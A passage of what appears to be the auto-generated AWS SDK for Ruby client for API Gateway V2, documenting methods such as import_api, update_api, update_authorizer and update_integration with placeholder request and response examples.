# resp.items[0].security_group_ids[0] #=> String
# resp.items[0].subnet_ids #=> Array
# resp.items[0].subnet_ids[0] #=> String
# resp.items[0].tags #=> Hash
# resp.items[0].tags["__string"] #=> String
# resp.items[0].vpc_link_id #=> String
# resp.items[0].vpc_link_status #=> String, one of "PENDING", "AVAILABLE", "DELETING", "FAILED", "INACTIVE"
# resp.items[0].vpc_link_status_message #=> String
# resp.items[0].vpc_link_version #=> String, one of "V2"
# resp.next_token #=> String
#
# @overload get_vpc_links(params = {})
# @param [Hash] params ({})
def get_vpc_links(params = {}, options = {})
req = build_request(:get_vpc_links, params)
req.send_request(options)
end
# Imports an API.
#
# @option params [String] :basepath
#
# @option params [required, String] :body
#
# @option params [Boolean] :fail_on_warnings
#
# @return [Types::ImportApiResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::ImportApiResponse#api_endpoint #api_endpoint} => String
# * {Types::ImportApiResponse#api_gateway_managed #api_gateway_managed} => Boolean
# * {Types::ImportApiResponse#api_id #api_id} => String
# * {Types::ImportApiResponse#api_key_selection_expression #api_key_selection_expression} => String
# * {Types::ImportApiResponse#cors_configuration #cors_configuration} => Types::Cors
# * {Types::ImportApiResponse#created_date #created_date} => Time
# * {Types::ImportApiResponse#description #description} => String
# * {Types::ImportApiResponse#disable_schema_validation #disable_schema_validation} => Boolean
# * {Types::ImportApiResponse#disable_execute_api_endpoint #disable_execute_api_endpoint} => Boolean
# * {Types::ImportApiResponse#import_info #import_info} => Array<String>
# * {Types::ImportApiResponse#name #name} => String
# * {Types::ImportApiResponse#protocol_type #protocol_type} => String
# * {Types::ImportApiResponse#route_selection_expression #route_selection_expression} => String
# * {Types::ImportApiResponse#tags #tags} => Hash<String,String>
# * {Types::ImportApiResponse#version #version} => String
# * {Types::ImportApiResponse#warnings #warnings} => Array<String>
#
# @example Request syntax with placeholder values
#
# resp = client.import_api({
# basepath: "__string",
# body: "__string", # required
# fail_on_warnings: false,
# })
#
# @example Response structure
#
# resp.api_endpoint #=> String
# resp.api_gateway_managed #=> Boolean
# resp.api_id #=> String
# resp.api_key_selection_expression #=> String
# resp.cors_configuration.allow_credentials #=> Boolean
# resp.cors_configuration.allow_headers #=> Array
# resp.cors_configuration.allow_headers[0] #=> String
# resp.cors_configuration.allow_methods #=> Array
# resp.cors_configuration.allow_methods[0] #=> String
# resp.cors_configuration.allow_origins #=> Array
# resp.cors_configuration.allow_origins[0] #=> String
# resp.cors_configuration.expose_headers #=> Array
# resp.cors_configuration.expose_headers[0] #=> String
# resp.cors_configuration.max_age #=> Integer
# resp.created_date #=> Time
# resp.description #=> String
# resp.disable_schema_validation #=> Boolean
# resp.disable_execute_api_endpoint #=> Boolean
# resp.import_info #=> Array
# resp.import_info[0] #=> String
# resp.name #=> String
# resp.protocol_type #=> String, one of "WEBSOCKET", "HTTP"
# resp.route_selection_expression #=> String
# resp.tags #=> Hash
# resp.tags["__string"] #=> String
# resp.version #=> String
# resp.warnings #=> Array
# resp.warnings[0] #=> String
#
# @overload import_api(params = {})
# @param [Hash] params ({})
def import_api(params = {}, options = {})
req = build_request(:import_api, params)
req.send_request(options)
end
# Puts an Api resource.
#
# @option params [required, String] :api_id
#
# @option params [String] :basepath
#
# @option params [required, String] :body
#
# @option params [Boolean] :fail_on_warnings
#
# @return [Types::ReimportApiResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::ReimportApiResponse#api_endpoint #api_endpoint} => String
# * {Types::ReimportApiResponse#api_gateway_managed #api_gateway_managed} => Boolean
# * {Types::ReimportApiResponse#api_id #api_id} => String
# * {Types::ReimportApiResponse#api_key_selection_expression #api_key_selection_expression} => String
# * {Types::ReimportApiResponse#cors_configuration #cors_configuration} => Types::Cors
# * {Types::ReimportApiResponse#created_date #created_date} => Time
# * {Types::ReimportApiResponse#description #description} => String
# * {Types::ReimportApiResponse#disable_schema_validation #disable_schema_validation} => Boolean
# * {Types::ReimportApiResponse#disable_execute_api_endpoint #disable_execute_api_endpoint} => Boolean
# * {Types::ReimportApiResponse#import_info #import_info} => Array<String>
# * {Types::ReimportApiResponse#name #name} => String
# * {Types::ReimportApiResponse#protocol_type #protocol_type} => String
# * {Types::ReimportApiResponse#route_selection_expression #route_selection_expression} => String
# * {Types::ReimportApiResponse#tags #tags} => Hash<String,String>
# * {Types::ReimportApiResponse#version #version} => String
# * {Types::ReimportApiResponse#warnings #warnings} => Array<String>
#
# @example Request syntax with placeholder values
#
# resp = client.reimport_api({
# api_id: "__string", # required
# basepath: "__string",
# body: "__string", # required
# fail_on_warnings: false,
# })
#
# @example Response structure
#
# resp.api_endpoint #=> String
# resp.api_gateway_managed #=> Boolean
# resp.api_id #=> String
# resp.api_key_selection_expression #=> String
# resp.cors_configuration.allow_credentials #=> Boolean
# resp.cors_configuration.allow_headers #=> Array
# resp.cors_configuration.allow_headers[0] #=> String
# resp.cors_configuration.allow_methods #=> Array
# resp.cors_configuration.allow_methods[0] #=> String
# resp.cors_configuration.allow_origins #=> Array
# resp.cors_configuration.allow_origins[0] #=> String
# resp.cors_configuration.expose_headers #=> Array
# resp.cors_configuration.expose_headers[0] #=> String
# resp.cors_configuration.max_age #=> Integer
# resp.created_date #=> Time
# resp.description #=> String
# resp.disable_schema_validation #=> Boolean
# resp.disable_execute_api_endpoint #=> Boolean
# resp.import_info #=> Array
# resp.import_info[0] #=> String
# resp.name #=> String
# resp.protocol_type #=> String, one of "WEBSOCKET", "HTTP"
# resp.route_selection_expression #=> String
# resp.tags #=> Hash
# resp.tags["__string"] #=> String
# resp.version #=> String
# resp.warnings #=> Array
# resp.warnings[0] #=> String
#
# @overload reimport_api(params = {})
# @param [Hash] params ({})
def reimport_api(params = {}, options = {})
req = build_request(:reimport_api, params)
req.send_request(options)
end
# Creates a new Tag resource to represent a tag.
#
# @option params [required, String] :resource_arn
#
# @option params [Hash<String,String>] :tags
# Represents a collection of tags associated with the resource.
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
# @example Request syntax with placeholder values
#
# resp = client.tag_resource({
# resource_arn: "__string", # required
# tags: {
# "__string" => "StringWithLengthBetween1And1600",
# },
# })
#
# @overload tag_resource(params = {})
# @param [Hash] params ({})
def tag_resource(params = {}, options = {})
req = build_request(:tag_resource, params)
req.send_request(options)
end
# Deletes a Tag.
#
# @option params [required, String] :resource_arn
#
# @option params [required, Array<String>] :tag_keys
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
# @example Request syntax with placeholder values
#
# resp = client.untag_resource({
# resource_arn: "__string", # required
# tag_keys: ["__string"], # required
# })
#
# @overload untag_resource(params = {})
# @param [Hash] params ({})
def untag_resource(params = {}, options = {})
req = build_request(:untag_resource, params)
req.send_request(options)
end
# Updates an Api resource.
#
# @option params [required, String] :api_id
#
# @option params [String] :api_key_selection_expression
# An expression used to extract information at runtime. See [Selection
# Expressions][1] for more information.
#
#
#
# [1]: https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-websocket-api-selection-expressions.html#apigateway-websocket-api-apikey-selection-expressions
#
# @option params [Types::Cors] :cors_configuration
# Represents a CORS configuration. Supported only for HTTP APIs. See
# [Configuring CORS][1] for more information.
#
#
#
# [1]: https://docs.aws.amazon.com/apigateway/latest/developerguide/http-api-cors.html
#
# @option params [String] :credentials_arn
# Represents an Amazon Resource Name (ARN).
#
# @option params [String] :description
# A string with a length between \[0-1024\].
#
# @option params [Boolean] :disable_schema_validation
#
# @option params [Boolean] :disable_execute_api_endpoint
#
# @option params [String] :name
# A string with a length between \[1-128\].
#
# @option params [String] :route_key
# After evaluating a selection expression, the result is compared
# against one or more selection keys to find a matching key. See
# [Selection Expressions][1] for a list of expressions and each
# expression's associated selection key type.
#
#
#
# [1]: https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-websocket-api-selection-expressions.html#apigateway-websocket-api-apikey-selection-expressions
#
# @option params [String] :route_selection_expression
# An expression used to extract information at runtime. See [Selection
# Expressions][1] for more information.
#
#
#
# [1]: https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-websocket-api-selection-expressions.html#apigateway-websocket-api-apikey-selection-expressions
#
# @option params [String] :target
# A string representation of a URI with a length between \[1-2048\].
#
# @option params [String] :version
# A string with a length between \[1-64\].
#
# @return [Types::UpdateApiResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::UpdateApiResponse#api_endpoint #api_endpoint} => String
# * {Types::UpdateApiResponse#api_gateway_managed #api_gateway_managed} => Boolean
# * {Types::UpdateApiResponse#api_id #api_id} => String
# * {Types::UpdateApiResponse#api_key_selection_expression #api_key_selection_expression} => String
# * {Types::UpdateApiResponse#cors_configuration #cors_configuration} => Types::Cors
# * {Types::UpdateApiResponse#created_date #created_date} => Time
# * {Types::UpdateApiResponse#description #description} => String
# * {Types::UpdateApiResponse#disable_schema_validation #disable_schema_validation} => Boolean
# * {Types::UpdateApiResponse#disable_execute_api_endpoint #disable_execute_api_endpoint} => Boolean
# * {Types::UpdateApiResponse#import_info #import_info} => Array<String>
# * {Types::UpdateApiResponse#name #name} => String
# * {Types::UpdateApiResponse#protocol_type #protocol_type} => String
# * {Types::UpdateApiResponse#route_selection_expression #route_selection_expression} => String
# * {Types::UpdateApiResponse#tags #tags} => Hash<String,String>
# * {Types::UpdateApiResponse#version #version} => String
# * {Types::UpdateApiResponse#warnings #warnings} => Array<String>
#
# @example Request syntax with placeholder values
#
# resp = client.update_api({
# api_id: "__string", # required
# api_key_selection_expression: "SelectionExpression",
# cors_configuration: {
# allow_credentials: false,
# allow_headers: ["__string"],
# allow_methods: ["StringWithLengthBetween1And64"],
# allow_origins: ["__string"],
# expose_headers: ["__string"],
# max_age: 1,
# },
# credentials_arn: "Arn",
# description: "StringWithLengthBetween0And1024",
# disable_schema_validation: false,
# disable_execute_api_endpoint: false,
# name: "StringWithLengthBetween1And128",
# route_key: "SelectionKey",
# route_selection_expression: "SelectionExpression",
# target: "UriWithLengthBetween1And2048",
# version: "StringWithLengthBetween1And64",
# })
#
# @example Response structure
#
# resp.api_endpoint #=> String
# resp.api_gateway_managed #=> Boolean
# resp.api_id #=> String
# resp.api_key_selection_expression #=> String
# resp.cors_configuration.allow_credentials #=> Boolean
# resp.cors_configuration.allow_headers #=> Array
# resp.cors_configuration.allow_headers[0] #=> String
# resp.cors_configuration.allow_methods #=> Array
# resp.cors_configuration.allow_methods[0] #=> String
# resp.cors_configuration.allow_origins #=> Array
# resp.cors_configuration.allow_origins[0] #=> String
# resp.cors_configuration.expose_headers #=> Array
# resp.cors_configuration.expose_headers[0] #=> String
# resp.cors_configuration.max_age #=> Integer
# resp.created_date #=> Time
# resp.description #=> String
# resp.disable_schema_validation #=> Boolean
# resp.disable_execute_api_endpoint #=> Boolean
# resp.import_info #=> Array
# resp.import_info[0] #=> String
# resp.name #=> String
# resp.protocol_type #=> String, one of "WEBSOCKET", "HTTP"
# resp.route_selection_expression #=> String
# resp.tags #=> Hash
# resp.tags["__string"] #=> String
# resp.version #=> String
# resp.warnings #=> Array
# resp.warnings[0] #=> String
#
# @overload update_api(params = {})
# @param [Hash] params ({})
def update_api(params = {}, options = {})
req = build_request(:update_api, params)
req.send_request(options)
end
# The API mapping.
#
# @option params [required, String] :api_id
# The identifier.
#
# @option params [required, String] :api_mapping_id
#
# @option params [String] :api_mapping_key
# After evaluating a selection expression, the result is compared
# against one or more selection keys to find a matching key. See
# [Selection Expressions][1] for a list of expressions and each
# expression's associated selection key type.
#
#
#
# [1]: https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-websocket-api-selection-expressions.html#apigateway-websocket-api-apikey-selection-expressions
#
# @option params [required, String] :domain_name
#
# @option params [String] :stage
# A string with a length between \[1-128\].
#
# @return [Types::UpdateApiMappingResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::UpdateApiMappingResponse#api_id #api_id} => String
# * {Types::UpdateApiMappingResponse#api_mapping_id #api_mapping_id} => String
# * {Types::UpdateApiMappingResponse#api_mapping_key #api_mapping_key} => String
# * {Types::UpdateApiMappingResponse#stage #stage} => String
#
# @example Request syntax with placeholder values
#
# resp = client.update_api_mapping({
# api_id: "Id", # required
# api_mapping_id: "__string", # required
# api_mapping_key: "SelectionKey",
# domain_name: "__string", # required
# stage: "StringWithLengthBetween1And128",
# })
#
# @example Response structure
#
# resp.api_id #=> String
# resp.api_mapping_id #=> String
# resp.api_mapping_key #=> String
# resp.stage #=> String
#
# @overload update_api_mapping(params = {})
# @param [Hash] params ({})
def update_api_mapping(params = {}, options = {})
req = build_request(:update_api_mapping, params)
req.send_request(options)
end
# Updates an Authorizer.
#
# @option params [required, String] :api_id
#
# @option params [String] :authorizer_credentials_arn
# Represents an Amazon Resource Name (ARN).
#
# @option params [required, String] :authorizer_id
#
# @option params [Integer] :authorizer_result_ttl_in_seconds
# An integer with a value between \[0-3600\].
#
# @option params [String] :authorizer_type
# The authorizer type. Specify REQUEST for a Lambda function using
# incoming request parameters. Specify JWT to use JSON Web Tokens
# (supported only for HTTP APIs).
#
# @option params [String] :authorizer_uri
# A string representation of a URI with a length between \[1-2048\].
#
# @option params [Array<String>] :identity_source
# The identity source for which authorization is requested. For the
# REQUEST authorizer, this is required when authorization caching is
# enabled. The value is a comma-separated string of one or more mapping
# expressions of the specified request parameters. For example, if an
# Auth header, a Name query string parameter are defined as identity
# sources, this value is $method.request.header.Auth,
# $method.request.querystring.Name. These parameters will be used to
# derive the authorization caching key and to perform runtime validation
# of the REQUEST authorizer by verifying all of the identity-related
# request parameters are present, not null and non-empty. Only when this
# is true does the authorizer invoke the authorizer Lambda function,
# otherwise, it returns a 401 Unauthorized response without calling the
# Lambda function. The valid value is a string of comma-separated
# mapping expressions of the specified request parameters. When the
# authorization caching is not enabled, this property is optional.
#
# @option params [String] :identity_validation_expression
# A string with a length between \[0-1024\].
#
# @option params [Types::JWTConfiguration] :jwt_configuration
# Represents the configuration of a JWT authorizer. Required for the JWT
# authorizer type. Supported only for HTTP APIs.
#
# @option params [String] :name
# A string with a length between \[1-128\].
#
# @option params [String] :authorizer_payload_format_version
# A string with a length between \[1-64\].
#
# @option params [Boolean] :enable_simple_responses
#
# @return [Types::UpdateAuthorizerResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::UpdateAuthorizerResponse#authorizer_credentials_arn #authorizer_credentials_arn} => String
# * {Types::UpdateAuthorizerResponse#authorizer_id #authorizer_id} => String
# * {Types::UpdateAuthorizerResponse#authorizer_result_ttl_in_seconds #authorizer_result_ttl_in_seconds} => Integer
# * {Types::UpdateAuthorizerResponse#authorizer_type #authorizer_type} => String
# * {Types::UpdateAuthorizerResponse#authorizer_uri #authorizer_uri} => String
# * {Types::UpdateAuthorizerResponse#identity_source #identity_source} => Array<String>
# * {Types::UpdateAuthorizerResponse#identity_validation_expression #identity_validation_expression} => String
# * {Types::UpdateAuthorizerResponse#jwt_configuration #jwt_configuration} => Types::JWTConfiguration
# * {Types::UpdateAuthorizerResponse#name #name} => String
# * {Types::UpdateAuthorizerResponse#authorizer_payload_format_version #authorizer_payload_format_version} => String
# * {Types::UpdateAuthorizerResponse#enable_simple_responses #enable_simple_responses} => Boolean
#
# @example Request syntax with placeholder values
#
# resp = client.update_authorizer({
# api_id: "__string", # required
# authorizer_credentials_arn: "Arn",
# authorizer_id: "__string", # required
# authorizer_result_ttl_in_seconds: 1,
# authorizer_type: "REQUEST", # accepts REQUEST, JWT
# authorizer_uri: "UriWithLengthBetween1And2048",
# identity_source: ["__string"],
# identity_validation_expression: "StringWithLengthBetween0And1024",
# jwt_configuration: {
# audience: ["__string"],
# issuer: "UriWithLengthBetween1And2048",
# },
# name: "StringWithLengthBetween1And128",
# authorizer_payload_format_version: "StringWithLengthBetween1And64",
# enable_simple_responses: false,
# })
#
# @example Response structure
#
# resp.authorizer_credentials_arn #=> String
# resp.authorizer_id #=> String
# resp.authorizer_result_ttl_in_seconds #=> Integer
# resp.authorizer_type #=> String, one of "REQUEST", "JWT"
# resp.authorizer_uri #=> String
# resp.identity_source #=> Array
# resp.identity_source[0] #=> String
# resp.identity_validation_expression #=> String
# resp.jwt_configuration.audience #=> Array
# resp.jwt_configuration.audience[0] #=> String
# resp.jwt_configuration.issuer #=> String
# resp.name #=> String
# resp.authorizer_payload_format_version #=> String
# resp.enable_simple_responses #=> Boolean
#
# @overload update_authorizer(params = {})
# @param [Hash] params ({})
def update_authorizer(params = {}, options = {})
req = build_request(:update_authorizer, params)
req.send_request(options)
end
# Updates a Deployment.
#
# @option params [required, String] :api_id
#
# @option params [required, String] :deployment_id
#
# @option params [String] :description
# A string with a length between \[0-1024\].
#
# @return [Types::UpdateDeploymentResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::UpdateDeploymentResponse#auto_deployed #auto_deployed} => Boolean
# * {Types::UpdateDeploymentResponse#created_date #created_date} => Time
# * {Types::UpdateDeploymentResponse#deployment_id #deployment_id} => String
# * {Types::UpdateDeploymentResponse#deployment_status #deployment_status} => String
# * {Types::UpdateDeploymentResponse#deployment_status_message #deployment_status_message} => String
# * {Types::UpdateDeploymentResponse#description #description} => String
#
# @example Request syntax with placeholder values
#
# resp = client.update_deployment({
# api_id: "__string", # required
# deployment_id: "__string", # required
# description: "StringWithLengthBetween0And1024",
# })
#
# @example Response structure
#
# resp.auto_deployed #=> Boolean
# resp.created_date #=> Time
# resp.deployment_id #=> String
# resp.deployment_status #=> String, one of "PENDING", "FAILED", "DEPLOYED"
# resp.deployment_status_message #=> String
# resp.description #=> String
#
# @overload update_deployment(params = {})
# @param [Hash] params ({})
def update_deployment(params = {}, options = {})
req = build_request(:update_deployment, params)
req.send_request(options)
end
# Updates a domain name.
#
# @option params [required, String] :domain_name
#
# @option params [Array<Types::DomainNameConfiguration>] :domain_name_configurations
# The domain name configurations.
#
# @option params [Types::MutualTlsAuthenticationInput] :mutual_tls_authentication
# If specified, API Gateway performs two-way authentication between the
# client and the server. Clients must present a trusted certificate to
# access your API.
#
# @return [Types::UpdateDomainNameResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::UpdateDomainNameResponse#api_mapping_selection_expression #api_mapping_selection_expression} => String
# * {Types::UpdateDomainNameResponse#domain_name #domain_name} => String
# * {Types::UpdateDomainNameResponse#domain_name_configurations #domain_name_configurations} => Array<Types::DomainNameConfiguration>
# * {Types::UpdateDomainNameResponse#mutual_tls_authentication #mutual_tls_authentication} => Types::MutualTlsAuthentication
# * {Types::UpdateDomainNameResponse#tags #tags} => Hash<String,String>
#
# @example Request syntax with placeholder values
#
# resp = client.update_domain_name({
# domain_name: "__string", # required
# domain_name_configurations: [
# {
# api_gateway_domain_name: "__string",
# certificate_arn: "Arn",
# certificate_name: "StringWithLengthBetween1And128",
# certificate_upload_date: Time.now,
# domain_name_status: "AVAILABLE", # accepts AVAILABLE, UPDATING
# domain_name_status_message: "__string",
# endpoint_type: "REGIONAL", # accepts REGIONAL, EDGE
# hosted_zone_id: "__string",
# security_policy: "TLS_1_0", # accepts TLS_1_0, TLS_1_2
# },
# ],
# mutual_tls_authentication: {
# truststore_uri: "UriWithLengthBetween1And2048",
# truststore_version: "StringWithLengthBetween1And64",
# },
# })
#
# @example Response structure
#
# resp.api_mapping_selection_expression #=> String
# resp.domain_name #=> String
# resp.domain_name_configurations #=> Array
# resp.domain_name_configurations[0].api_gateway_domain_name #=> String
# resp.domain_name_configurations[0].certificate_arn #=> String
# resp.domain_name_configurations[0].certificate_name #=> String
# resp.domain_name_configurations[0].certificate_upload_date #=> Time
# resp.domain_name_configurations[0].domain_name_status #=> String, one of "AVAILABLE", "UPDATING"
# resp.domain_name_configurations[0].domain_name_status_message #=> String
# resp.domain_name_configurations[0].endpoint_type #=> String, one of "REGIONAL", "EDGE"
# resp.domain_name_configurations[0].hosted_zone_id #=> String
# resp.domain_name_configurations[0].security_policy #=> String, one of "TLS_1_0", "TLS_1_2"
# resp.mutual_tls_authentication.truststore_uri #=> String
# resp.mutual_tls_authentication.truststore_version #=> String
# resp.mutual_tls_authentication.truststore_warnings #=> Array
# resp.mutual_tls_authentication.truststore_warnings[0] #=> String
# resp.tags #=> Hash
# resp.tags["__string"] #=> String
#
# @overload update_domain_name(params = {})
# @param [Hash] params ({})
def update_domain_name(params = {}, options = {})
req = build_request(:update_domain_name, params)
req.send_request(options)
end
# Updates an Integration.
#
# @option params [required, String] :api_id
#
# @option params [String] :connection_id
# A string with a length between \[1-1024\].
#
# @option params [String] :connection_type
# Represents a connection type.
#
# @option params [String] :content_handling_strategy
# Specifies how to handle response payload content type conversions.
# Supported only for WebSocket APIs.
#
# @option params [String] :credentials_arn
# Represents an Amazon Resource Name (ARN).
#
# @option params [String] :description
# A string with a length between \[0-1024\].
#
# @option params [required, String] :integration_id
#
# @option params [String] :integration_method
# A string with a length between \[1-64\].
#
# @option params [String] :integration_subtype
# A string with a length between \[1-128\].
#
# @option params [String] :integration_type
# Represents an API method integration type.
#
# @option params [String] :integration_uri
# A string representation of a URI with a length between \[1-2048\].
#
# @option params [String] :passthrough_behavior
# Represents passthrough behavior for an integration response. Supported
# only for WebSocket APIs.
#
# @option params [String] :payload_format_version
# A string with a length between \[1-64\].
#
# @option params [Hash<String,String>] :request_parameters
# For WebSocket APIs, a key-value map specifying request parameters that
# are passed from the method request to the backend. The key is an
# integration request parameter name and the associated value is a
# method request parameter value or static value that must be enclosed
# within single quotes and pre-encoded as required by the backend. The
# method request parameter value must match the pattern of
# method.request.*\\\{location\\}*.*\\\{name\\}* , where
# *\\\{location\\}* is querystring, path, or header; and *\\\{name\\}*
# must be a valid and unique method request parameter name.
#
# For HTTP API integrations with a specified integrationSubtype, request
# parameters are a key-value map specifying parameters that are passed
# to AWS\_PROXY integrations. You can provide static values, or map
# request data, stage variables, or context variables that are evaluated
# at runtime. To learn more, see [Working with AWS service integrations
# for HTTP APIs][1].
#
# For HTTP API integrations without a specified integrationSubtype
# request parameters are a key-value map specifying how to transform
# HTTP requests before sending them to the backend. The key should
# follow the pattern
# <action>\:<header\|querystring\|path>.<location>
# where action can be append, overwrite or remove. For values, you can
# provide static values, or map request data, stage variables, or
# context variables that are evaluated at runtime. To learn more, see
# [Transforming API requests and responses][2].
#
#
#
# [1]: https://docs.aws.amazon.com/apigateway/latest/developerguide/http-api-develop-integrations-aws-services.html
# [2]: https://docs.aws.amazon.com/apigateway/latest/developerguide/http-api-parameter-mapping.html
#
# @option params [Hash<String,Hash>] :response_parameters
# Supported only for HTTP APIs. You use response parameters to transform
# the HTTP response from a backend integration before returning the
# response to clients.
#
# @option params [Hash<String,String>] :request_templates
# A mapping of identifier keys to templates. The value is an actual
# template script. The key is typically a SelectionKey which is chosen
# based on evaluating a selection expression.
#
# @option params [String] :template_selection_expression
# An expression used to extract information at runtime. See [Selection
# Expressions][1] for more information.
#
#
#
# [1]: https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-websocket-api-selection-expressions.html#apigateway-websocket-api-apikey-selection-expressions
#
# @option params [Integer] :timeout_in_millis
# An integer with a value between \[50-30000\].
#
# @option params [Types::TlsConfigInput] :tls_config
# The TLS configuration for a private integration. If you specify a TLS
# configuration, private integration traffic uses the HTTPS protocol.
# Supported only for HTTP APIs.
#
# @return [Types::UpdateIntegrationResult] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::UpdateIntegrationResult#api_gateway_managed #api_gateway_managed} => Boolean
# * {Types::UpdateIntegrationResult#connection_id #connection_id} => String
# * {Types::UpdateIntegrationResult#connection_type #connection_type} => String
# * {Types::UpdateIntegrationResult#content_handling_strategy #content_handling_strategy} => String
# * {Types::UpdateIntegrationResult#credentials_arn #credentials_arn} => String
# * {Types::UpdateIntegrationResult#description #description} => String
# * {Types::UpdateIntegrationResult#integration_id #integration_id} => String
# * {Types::UpdateIntegrationResult#integration_method #integration_method} => String
# * {Types::UpdateIntegrationResult#integration_response_selection_expression #integration_response_selection_expression} => String
# * {Types::UpdateIntegrationResult#integration_subtype #integration_subtype} => String
# * {Types::UpdateIntegrationResult#integration_type #integration_type} => String
# * {Types::UpdateIntegrationResult#integration_uri #integration_uri} => String
# * {Types::UpdateIntegrationResult#passthrough_behavior #passthrough_behavior} => String
# * {Types::UpdateIntegrationResult#payload_format_version #payload_format_version} => String
# * {Types::UpdateIntegrationResult#request_parameters #request_parameters} => Hash<String,String>
# * {Types::UpdateIntegrationResult#response_parameters #response_parameters} => Hash<String,Hash<String,String>>
# * {Types::UpdateIntegrationResult#request_templates #request_templates} => Hash<String,String>
# * {Types::UpdateIntegrationResult#template_selection_expression #template_selection_expression} => String
# * {Types::UpdateIntegrationResult#timeout_in_millis #timeout_in_millis} => Integer
# * {Types::UpdateIntegrationResult#tls_config #tls_config} => Types::TlsConfig
#
# @example Request syntax with placeholder values
#
# resp = client.update_integration({
# api_id: "__string", # required
# connection_id: "StringWithLengthBetween1And1024",
# connection_type: "INTERNET", # accepts INTERNET, VPC_LINK
# content_handling_strategy: "CONVERT_TO_BINARY", # accepts CONVERT_TO_BINARY, CONVERT_TO_TEXT
# credentials_arn: "Arn",
# description: "StringWithLengthBetween0And1024",
# integration_id: "__string", # required
# integration_method: "StringWithLengthBetween1And64",
# integration_subtype: "StringWithLengthBetween1And128",
# integration_type: "AWS", # accepts AWS, HTTP, MOCK, HTTP_PROXY, AWS_PROXY
# integration_uri: "UriWithLengthBetween1And2048",
# passthrough_behavior: "WHEN_NO_MATCH", # accepts WHEN_NO_MATCH, NEVER, WHEN_NO_TEMPLATES
# payload_format_version: "StringWithLengthBetween1And64",
# request_parameters: {
# "__string" => "StringWithLengthBetween1And512",
# },
# response_parameters: {
# "__string" => {
# "__string" => "StringWithLengthBetween1And512",
# },
# },
# request_templates: {
# "__string" => "StringWithLengthBetween0And32K",
# },
# template_selection_expression: "SelectionExpression",
# timeout_in_millis: 1,
# tls_config: {
# server_name_to_verify: "StringWithLengthBetween1And512",
# },
# })
#
# @example Response structure
#
# resp.api_gateway_managed #=> Boolean
# resp.connection_id #=> String
# resp.connection_type #=> String, one of "INTERNET", "VPC_LINK"
# resp.content_handling_strategy #=> String, one of "CONVERT_TO_BINARY", "CONVERT_TO_TEXT"
# resp.credentials_arn #=> String
# resp.description #=> String
# resp.integration_id #=> String
# resp.integration_method #=> String
# resp.integration_response_selection_expression #=> String
# resp.integration_subtype #=> String
# resp.integration_type #=> String, one of "AWS", "HTTP", "MOCK", "HTTP_PROXY", "AWS_PROXY"
# resp.integration_uri #=> String
# resp.passthrough_behavior #=> String, one of "WHEN_NO_MATCH", "NEVER", "WHEN_NO_TEMPLATES"
# resp.payload_format_version #=> String
# resp.request_parameters #=> Hash
# resp.request_parameters["__string"] #=> String
# resp.response_parameters #=> Hash
# resp.response_parameters["__string"] #=> Hash
# resp.response_parameters["__string"]["__string"] #=> String
# resp.request_templates #=> Hash
# resp.request_templates["__string"] #=> String
# resp.template_selection_expression #=> String
# resp.timeout_in_millis #=> Integer
# resp.tls_config.server_name_to_verify #=> String
#
# @overload update_integration(params = {})
# @param [Hash] params ({})
def update_integration(params = {}, options = {})
req = build_request(:update_integration, params)
req.send_request(options)
end
# Updates an IntegrationResponses.
#
# @option params [required, String] :api_id
#
# @option params [String] :content_handling_strategy
# Specifies how to handle response payload content type conversions.
# Supported only for WebSocket APIs.
#
# @option params [required, String] :integration_id
#
# @option params [required, String] :integration_response_id
#
# @option params [String] :integration_response_key
# After evaluating a selection expression, the result is compared
# against one or more selection keys to find a matching key. See
# [Selection Expressions][1] for a list of expressions and each
# expression's associated selection key type.
#
#
#
# [1]: https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-websocket-api-selection-expressions.html#apigateway-websocket-api-apikey-selection-expressions
#
# @option params [Hash<String,String>] :response_parameters
# For WebSocket APIs, a key-value map specifying request parameters that
# are passed from the method request to the backend. The key is an
# integration request parameter name and the associated value is a
# method request parameter value or static value that must be enclosed
# within single quotes and pre-encoded as required by the backend. The
# method request parameter value must match the pattern of
# method.request.*\\\{location\\}*.*\\\{name\\}* , where
# *\\\{location\\}* is querystring, path, or header; and *\\\{name\\}*
# must be a valid and unique method request parameter name.
#
# For HTTP API integrations with a specified integrationSubtype, request
# parameters are a key-value map specifying parameters that are passed
# to AWS\_PROXY integrations. You can provide static values, or map
# request data, stage variables, or context variables that are evaluated
# at runtime. To learn more, see [Working with AWS service integrations
# for HTTP APIs][1].
#
# For HTTP API integrations without a specified integrationSubtype
# request parameters are a key-value map specifying how to transform
# HTTP requests before sending them to the backend. The key should
# follow the pattern
# <action>\:<header\|querystring\|path>.<location>
# where action can be append, overwrite or remove. For values, you can
# provide static values, or map request data, stage variables, or
# context variables that are evaluated at runtime. To learn more, see
# [Transforming API requests and responses][2].
#
#
#
# [1]: https://docs.aws.amazon.com/apigateway/latest/developerguide/http-api-develop-integrations-aws-services.html
# [2]: https://docs.aws.amazon.com/apigateway/latest/developerguide/http-api-parameter-mapping.html
#
# @option params [Hash<String,String>] :response_templates
# A mapping of identifier keys to templates. The value is an actual
# template script. The key is typically a SelectionKey which is chosen
# based on evaluating a selection expression.
#
# @option params [String] :template_selection_expression
# An expression used to extract information at runtime. See [Selection
# Expressions][1] for more information.
#
#
#
# [1]: https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-websocket-api-selection-expressions.html#apigateway-websocket-api-apikey-selection-expressions
#
# @return [Types::UpdateIntegrationResponseResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::UpdateIntegrationResponseResponse#content_handling_strategy #content_handling_strategy} => String
# * {Types::UpdateIntegrationResponseResponse#integration_response_id #integration_response_id} => String
